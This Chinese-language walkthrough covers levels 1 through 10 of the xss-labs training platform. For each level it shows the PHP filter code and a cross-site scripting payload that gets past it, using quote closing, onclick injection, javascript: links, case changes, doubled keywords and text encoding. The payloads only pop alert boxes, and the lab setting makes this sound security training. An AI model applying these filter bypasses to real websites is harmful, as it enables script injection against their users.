Xsslabs下载地址:
https://github.com/do0dl3/xss-labs
Less-1--常规插入语句
把test的值改成跨站脚本语句即可name=<script>alert(1)</script>
Less-2--”>闭合前面的语句
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
&(和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
同样在keyword后插入语句<script>alert(1)</script>
选中<script>alert(1)</script>右键查看元素,发现两个语句
使用”>闭合前面的语句
在keyword修改js语句为 “><script>alert(1)</script>
Less-3----HTML onclick 事件
采取第二关做法,点击发现单引号引用
改为’发现过滤
同样在from表单中 ,鼠标点击搜索按钮可以触发HTML onclick 事件属性
当单击鼠标时运行脚本:<button οnclick="copyText()">复制文本</button>
闭合前后两边的单引号,构造payload: ‘ οnclick=alert(1) ‘
Less-4--闭合引号
与第三关相同,闭合掉两边双引号就可以了
payload: " οnclick="alert(1)" "
Less-5--超链接
采用第四关做法发现onclick变成o_nclick
过滤代码如下:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
方法一:去掉_
方法二:采用超链接
payload: "><a href=javascript:alert(1)>yy</a>
点击yy成功
Less-6--大小写绕过
方法一:使用第四关语句" οnclick=alert(1) "发现
直接点击修改,简单粗暴,但只能本次有效,实战意义不大
方法二:大小写绕过
过滤代码:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
点击事件payload: " ONclick=alert(1) "
超链接payload: "><a HRef=javasCript:alert(1)>yy</a>
Less-7--双写href,script关键字
将href过滤为空,script过滤为空
过滤代码: srt_replace为一次过滤
方法:双写href,script
payload: "><a hhrefref=javascscriptript:alert(1)>yy</a>
点击yy按钮成功
Less-8----javascript文本转换
添加链接只需输入href即可,输入javascript:alert(1)
得到
利用supersoft进行文本转换
payload: javascript:alert(1) (需要文本编码)
Less-9----注释http://
使用8的解码看到
过滤代码 必须有http:// 否则过滤
http前的//是为了注释掉http://
payload: javascript:alert(1)//http:// (需要文本编码)
Less-10--多标签突破
这里有三个 <input> 标签隐藏,也就意味着是三个参数,看看哪一个标签能够被突破
payload: &t_sort="type="text" οnclick="alert(1)"
t_sort 为参数
type="text" 为添加点击类型为text
οnclick="alert(1)" 为鼠标点击事件
通过构造参数响应发现只有t_sort里面的值被改变了。因此可以从该标签进行突破